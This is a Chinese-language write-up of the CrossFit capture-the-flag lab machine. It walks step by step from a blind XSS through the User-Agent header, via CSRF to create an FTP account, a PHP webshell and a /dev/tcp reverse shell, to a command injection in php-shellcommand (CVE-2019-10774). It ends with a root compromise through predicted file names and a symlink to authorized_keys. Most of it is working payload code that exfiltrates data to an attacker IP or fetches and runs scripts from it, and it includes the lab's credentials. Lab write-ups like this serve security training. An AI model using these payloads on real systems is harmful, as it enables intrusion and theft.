CrossFit

1
2
3
4
5
ip a

10.129.35.227

TARGET="10.129.35.227"

CrossFit

01.信息搜集

靶机发现

目标靶机 ip 为

1
2
3
fscan -h $TARGET > fscan.log

grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+' result.txt | sed 's/^.*://' | sort -nu

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sudo nmap -sT -sV -sC -O -p 21,22,80 $TARGET -oA nmapscan/detail

PORT STATE SERVICE VERSION
21/tcp open ftp
| ssl-cert: Subject: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US
| fingerprint-strings:
| GenericLines, Help, NULL, SMBProgNeg:
| 220 Cross Fit Ltd. FTP Server
| SSLSessionReq:
| 220 Cross Fit Ltd. FTP Server
|_ Please login with USER and PASS.
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 256 67:88:2d:20:a5:c1:a7:71:50:2b:c8:07:a4:b2:60:e5 (ECDSA)
|_ 256 62:ce:a3:15:93:c8:8c:b6:8e:23:1d:66:52:f4:4f:ef (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 153.03 seconds

FTP 证书 && 虚拟主机

端口很少 而且 web 服务也就是一个 apache 首页挂着

commonName= *.crossfit.htb http://crossfit.htb/ 还是默认页

通配符…不知道有哪些三级域名

用 21 端口探测一下 (FTP-SSL )

1
2
3
openssl s_client -connect 10.129.35.227:21 -starttls ftp 2>/dev/null | openssl x509 -noout -text

*.crossfit.htb/emailAddress=info@gym-club.crossfit.htb

gym-club.crossfit.htb

1
echo "10.129.35.227 gym-club.crossfit.htb crossfit.htb" | sudo tee -a "/etc/hosts"

CORS 子域名枚举

1
2
3
4
ffuf -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Origin: http://FUZZ.crossfit.htb" -u "http://gym-club.crossfit.htb/" -mr "Access-Control-Allow-Origin"

ftp [Status: 200, Size: 36336, Words: 16163, Lines: 756, Duration: 2089ms]
:: Progress: [5000/5000] :: Job [1/1] :: 133 req/sec :: Duration: [0:00:41] :: Errors: 0 :

扫出 ftp.crossfit.htb 怎么也是默认页面 可能是对外网做了限制

1
gobuster dir -u http://ftp.crossfit.htb -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/Web-Content/common.txt -t 50
1
echo "10.129.35.227 ftp.crossfit.htb" | sudo tee -a "/etc/hosts"

02.渗透打点

Web 浏览

访问 gym-club.crossfit.htb 是一个健身房的主页

1
2
3
4
5
6
7
8
# kali
gobuster dir -u http://gym-club.crossfit.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50

http://gym-club.crossfit.htb/fonts/
http://gym-club.crossfit.htb/img/
http://gym-club.crossfit.htb/images/
http://gym-club.crossfit.htb/js/
http://gym-club.crossfit.htb/vendor/

发现 XSS

没有其他功能 到处是填表 “Get in touch” 明示 XSS

1
<script>alert('1')</script>

首页会自动提交 估计没有后续

contact.php 提交会 Your message was successfully sent.

blog-single.php 会警告我:

1
2
XSS attempt detected
A security report containing your IP address and browser information will be generated and our admin team will be immediately notified.

显然 blog-single.php 这有点问题 本地 bp ip 伪造看看 还是报这个

1
<div class='alert alert-danger' role='alert'><h4>XSS attempt detected</h4><hr>A security report containing your IP address and browser information will be generated and our admin team will be immediately notified.</div>

Blind XSS (User-Agent)

思考一下 其实这里可能是对消息做了 xss 检测 但是没有检测 IP(就是硬卡)
browser information will be generated and our admin team will be immediately notified
但是 ip 还是会被送入服务器? 那我直接 inject 呢

1
2
3
4
5
python -m http.server 8080

User-Agent: <script src="http://10.10.17.30:8080/"></script>

::ffff:10.129.35.227 - - [12/Jul/2026 21:16:32] "GET / HTTP/1.1" 200

有点慢 可能是定时任务之类的在读? 但确实在读

利用 XSS:

1
2
管理员浏览器 → GET http://ftp.crossfit.htb(拿到页面HTML)
管理员浏览器 → POST http://10.10.17.30:8080/(把HTML发给你)

payload.js

1
2
3
4
5
6
7
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://ftp.crossfit.htb", false);
xhr.send();

var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "http://10.10.17.30:8080/", false);
xhr2.send(xhr.responseText);

然后让管理员读我的 js

1
2
3
4
5
User-Agent: <script src="http://10.10.17.30:8080/payload.js"></script>

::ffff:10.129.35.227 - - [13/Jul/2026 09:09:26] "POST / HTTP/1.1" 501 -
::ffff:10.129.35.227 - - [13/Jul/2026 09:09:32] "GET /payload.js HTTP/1.1" 200 -
::ffff:10.129.35.227 - - [13/Jul/2026 09:09:33] code 501, message Unsupported method ('POST')

python服务器接收有点问题 nc 听一下

1
2
3
4
5
6
7
8
9
nc -lv 8080
GET /payload.js HTTP/1.1
Host: 10.10.17.30:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://gym-club.crossfit.htb/security_threat/report.php
Connection: keep-alive
1
2
3
http://gym-club.crossfit.htb/security_threat/report.php

# Your are not allowed to access this page.

改8082, 写一个能收 POST 的服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length)
print(body.decode())
self.send_response(200)
self.end_headers()
def do_GET(self):
self.send_response(200)
self.end_headers()
with open(self.path.lstrip('/'), 'rb') as f:
self.wfile.write(f.read())
HTTPServer(('0.0.0.0', 8082), H).serve_forever()

CSRF

拿下 ftp.crossfit.htb 页面

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<title>FTP Hosting - Account Management</title>
</head>
<body>
<h2>FTP Hosting - Account Management</h2>
<a class="btn btn-success" href="http://ftp.crossfit.htb/accounts/create"> Create New Account</a>
</body>
</html>

payload2.js 读取 /accounts/create 抓 token

1
2
3
4
5
6
7
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://ftp.crossfit.htb/accounts/create", false);
xhr.send();

var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "http://10.10.17.30:8080/", false);
xhr2.send(xhr.responseText);

拿到创建账号页面的 _token:

1
<input type="hidden" name="_token" value="ZWicWabyY9xKIP218R5r63Xp9gbHcjluAUzuhKql">

绕过 CSRF 令牌

Laravel 框架的 _token 反 CSRF 令牌。由于 Access-Control-Allow-Credentials: true,需要使用 withCredentials=true 保持会话。

payload3.js(动态取 token + CSRF 创建 FTP 账号):

1
2
3
4
5
6
7
8
9
10
11
12
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://ftp.crossfit.htb/accounts/create", false);
xhr.withCredentials = true;
xhr.send();

var token = xhr.responseText.match(/_token" value="([^"]+)"/)[1];

var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "http://ftp.crossfit.htb/accounts", false);
xhr2.withCredentials = true;
xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr2.send("username=choco&pass=choco123&_token=" + token);

成功创建 FTP 用户 choco/choco123

03.FTP 上传 Webshell → www-data

FTP 目录

1
2
3
4
drwxrwxr-x    2 33       1002         4096 Sep 21  2020 development-test
drwxr-xr-x 13 0 0 4096 May 07 2020 ftp
drwxr-xr-x 9 0 0 4096 May 12 2020 gym-club
drwxr-xr-x 2 0 0 4096 May 01 2020 html

上传 Webshell

s1.php:

1
<?php echo shell_exec($_REQUEST["cmd"]); ?>

通过 FTP 上传到 development-test 目录。

development-test.crossfit.htb 外部不可达,用 Image 标签绕过 CORS 触发:

1
2
var img = new Image();
img.src = "http://development-test.crossfit.htb/s1.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.17.30/4444+0>%261'";

收到 www-data 的 shell。

1
2
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

04.提权到 hank

密码枚举

1
find / -xdev -type f \( -name "*.yml" -o -name "*.yaml" \) 2>/dev/null

发现 /etc/ansible/playbooks/adduser_hank.yml,包含密码哈希:

1
password: $6$rounds=10000$9Eo0o...$...

hashcat 破解

sha512crypt 哈希(hashcat mode 1800)

1
hashcat -m 1800 hank_hash rockyou.txt -r best64.rule --force

密码: powerpuffgirls

1
ssh hank@crossfit.htb

id 显示 hank 是 admins 组的成员。拿到 user.txt

05.提权到 isaac (php-shellcommand CVE)

信息搜集

isaac 家目录中有 send_updates/ 目录。crontab:

1
* * * * * isaac /usr/bin/php /home/isaac/send_updates/send_updates.php

send_updates.php 加载 $msg_dir 目录中的文件并发送给用户表中的邮件地址。

检查 composer.json:

1
2
3
4
5
{
"require": {
"mikehaertl/php-shellcommand": "1.6.0"
}
}

php-shellcommand 1.6.0 存在 CVE-2019-10774 命令注入漏洞。

数据库凭证

/var/www/gym-club/db.php:

1
2
3
4
$dbhost = "localhost";
$dbuser = "crossfit";
$dbpass = "oeLoo~y2baeni";
$db = "crossfit";

找到 $msg_dir

vsftpd 虚拟用户 ftpadmlocal_root=/srv/ftp,其 messages/ 目录即 $msg_dir

PAM 认证:

1
auth sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3

用 ftpadm 登录 FTP → 进入 messages 目录上传占位文件。

命令注入

crossfit.users 插入恶意 email:

1
mysql -u crossfit -p"oeLoo~y2baeni" crossfit -e "insert into users(email) values(';nc 10.10.17.30 1337')";

同时确保 FTP messages 目录有占位文件,等 cron 执行,收到 isaac 的 shell。

06.提权到 root (dbmsg 逆向 + 符号链接)

发现 dbmsg

pspy64 监控进程:

1
2
3
./pspy64 -f | grep dbmsg

2026/07/13 02:04:01 FS: ACCESS | /usr/bin/dbmsg

/usr/bin/dbmsg 每分钟以 root 身份执行。

逆向分析

main() 函数:

1
2
3
4
5
6
7
8
9
10
int main(int argc, char **argv) {
if (geteuid()) {
fwrite("This program must be run as root.\n", ...);
exit(1);
}
v3 = time(nullptr);
srand(v3);
process_data(v4);
exit(0);
}

process_data() 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mysql_real_connect(conn, "localhost", "crossfit", "oeLoo~y2baeni", "crossfit", ...);
mysql_query(conn, "SELECT * FROM messages");

while (row = mysql_fetch_row(result)) {
r = rand();
snprintf(s, 48, "%d%s", r, row[0]); // rand()+id
md5sum(s, strlen(s), md5_out);
snprintf(filename, 48, "/var/local/%s", md5_out);

fopen(filename, "w");
fputs(row[1], f); // name
fputc(' ', f);
fputs(row[3], f); // message
fputc(' ', f);
fputs(row[2], f); // email
fclose(f);

// add to zip archive
}

delete_rows(conn);
delete_files(); // 清理 /var/local/

漏洞分析

文件写入路径: /var/local/<MD5> — 以 root 写入。

/var/local/ 对 staff 组可写:

1
drwxrwsr-x 2 root staff 4096 Jul 13 02:39 /var/local/

isaac 在 staff 组 → 可在这里创建符号链接。

预测文件名 + exp.sh

必须用 C 的 srand()/rand() 计算,且种子需实时获取。

rand.c:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(void) {
time_t curr_time = time(NULL);
int seed = curr_time - (curr_time % 60) + 61;
srand(seed);
printf("%d", rand());
return 0;
}

一体化 exp.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/bin/bash
TABLE_ID=1337
ATTACKER="10.10.17.30:9000"
WD="$HOME/.exploit"

mkdir -p "$WD" && cd "$WD"

# 下载密钥
wget -q http://$ATTACKER/id_rsa.pub -O id_rsa.pub
wget -q http://$ATTACKER/id_rsa -O id_rsa
chmod 600 id_rsa

# 编译预测器
cat > rand.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(void) {
time_t curr_time = time(NULL);
int seed = curr_time - (curr_time % 60) + 61;
srand(seed);
printf("%d", rand());
return 0;
}
EOF
gcc -o rand rand.c

# 插入公钥
KEY=$(awk '{print $2,$3,$4}' id_rsa.pub | tr -d '\n')
mysql -u crossfit -p'oeLoo~y2baeni' crossfit \
-e "DELETE FROM messages; INSERT INTO messages(id,name,email,message) VALUES($TABLE_ID,'ssh-rsa','x','$KEY');"

# 预测 + 符号链接
filename=$(./rand)
filename="${filename}${TABLE_ID}"
md5=$(echo -n $filename | md5sum | awk '{print $1}')
echo "rand+id = $filename"
echo "md5 = $md5"
ln -sf /root/.ssh/authorized_keys /var/local/$md5

# 等 cron 后 SSH
sleep 70
ssh -i "$WD/id_rsa" -o StrictHostKeyChecking=no root@127.0.0.1 "id; cat /root/root.txt"

运行:

1
wget -q http://10.10.17.30:9000/exp.sh -O /tmp/exp.sh && chmod +x /tmp/exp.sh && /tmp/exp.sh

失败总结

之前脚本一直失败,原因:

  1. Python random 和 C rand() 算法不同
  2. 种子用 +60(整分)而不是 +61——cron 有约 1s 调度延迟
  3. 在 bash 脚本开头算 BASE = next_minute,中间下载编译插入操作消耗的时间导致偏移
  4. name 字段 varchar(50) 限制,公钥不能整段放入,需 name='ssh-rsa' + message='<keybody>'
  5. 文件内容格式为 name message email,对应 'ssh-rsa' + ' '<keybody> + ' 'x = ssh-rsa AAAA... x 才是合法 authorized_keys

07.总结

攻击链路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
XSS (User-Agent)
→ Blind XSS 读取 ftp.crossfit.htb
→ CSRF 获取 token + 创建 FTP 用户
→ FTP 上传 webshell
→ XSS 触发 webshell → www-data

www-data
→ Ansible playbook 密码哈希 → hashcat 破解
→ SSH hank

hank
→ php-shellcommand CVE-2019-10774 命令注入
→ isaac

isaac
→ pspy 发现 dbmsg (root cron)
→ 逆向确认可预测文件名
→ 符号链接写入 authorized_keys
→ SSH root